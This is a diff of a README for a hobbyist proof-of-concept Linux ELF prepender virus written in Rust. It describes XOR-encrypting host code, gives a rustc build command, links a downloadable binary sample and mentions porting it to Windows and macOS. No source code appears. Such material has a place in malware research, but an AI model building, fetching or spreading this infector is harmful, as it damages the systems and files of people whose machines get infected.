-# Fe2O3
-Simple prepender virus written in Rust
+# Linux.Fe2O3
+
+This is a POC ELF prepender written in Rust. I like writting prependers on languages that I'm learning and find interesting.
+
+# Build
+```$ cd src
+$ rustc main.rs -o Linux.Fe2O3
+```
+
+Note that the Rust version used is `rustc 1.37.0 (eae3437df 2019-08-13)`, the latest at this moment.
+
+# Binary Sample
+A binary sample is also available at https://www.guitmz.com/Linux.Fe2O3 (SHA1: c185ab0fd9b1c8f3ddaed7079898383edbcbb7f7).

+
+ Linux.Fe2O3 (September 2019) - Simple binary infector written in Rust.
+ This version encrypts the host code with a simple XOR and decrypts it at runtime.
+ It's almost a direct port from my Nim infector Linux.Cephei and Go infector Linux.Liora.
+ 
+ Build with: rustc main.rs -o Linux.Fe2O3
+ 
+ Note that Rust version used was rustc 1.37.0 (eae3437df 2019-08-13).
+ It has no external dependencies so it should compile under most systems (tested under x86_64).
+ It's also possible to adapt it to be a PE/Mach infector and compile under Windows/macOS.
+
+ Use at your own risk, I'm not responsible for any damages that this may cause.
+ A big shout for those who keeps the scene alive!
+ 
+ Feel free to email me: thomazi@linux.com || guilherme@guitmz.com
